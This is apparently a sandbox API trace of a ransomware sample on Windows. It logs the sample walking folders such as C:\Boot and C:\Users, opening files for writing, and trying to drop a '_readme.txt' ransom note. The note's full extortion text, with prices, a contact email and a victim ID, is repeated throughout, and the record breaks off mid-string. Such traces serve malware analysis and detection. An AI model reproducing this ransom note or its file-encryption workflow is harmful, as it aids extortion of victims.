[0124.442] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.442] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0124.442] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.442] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2") returned=".LOG2" [0124.442] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.442] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT") returned=".DAT" [0124.442] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.442] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0124.443] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.443] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.443] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.443] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.443] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0124.443] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.443] PathFindFileNameW (pszPath="") returned="" [0124.443] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.443] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.443] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae2210 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.443] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.443] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0124.443] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0124.444] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.444] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.444] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.444] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0124.444] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.444] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.445] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.445] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.445] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.445] PathFindFileNameW (pszPath="") returned="" [0124.445] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.445] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.445] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae2210 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.445] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.445] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.446] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0124.446] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.446] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.446] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.446] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.446] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.446] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0124.446] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.446] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.446] PathFindFileNameW (pszPath="") returned="" [0124.446] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.446] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.446] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.446] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.446] PathAppendW (in: pszPath="C:\\Boot\\cs-CZ\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 1 [0124.446] PathFileExistsW (pszPath="C:\\Boot\\cs-CZ\\_readme.txt") returned 0 [0124.447] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.447] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.447] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\_readme.txt" (normalized: "c:\\boot\\cs-cz\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.447] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.447] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0124.447] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.447] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.447] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.447] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.447] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0124.447] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.447] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.447] PathFindFileNameW (pszPath="") returned="" [0124.448] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.448] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.448] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.448] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.448] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0124.448] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0124.448] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.448] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, 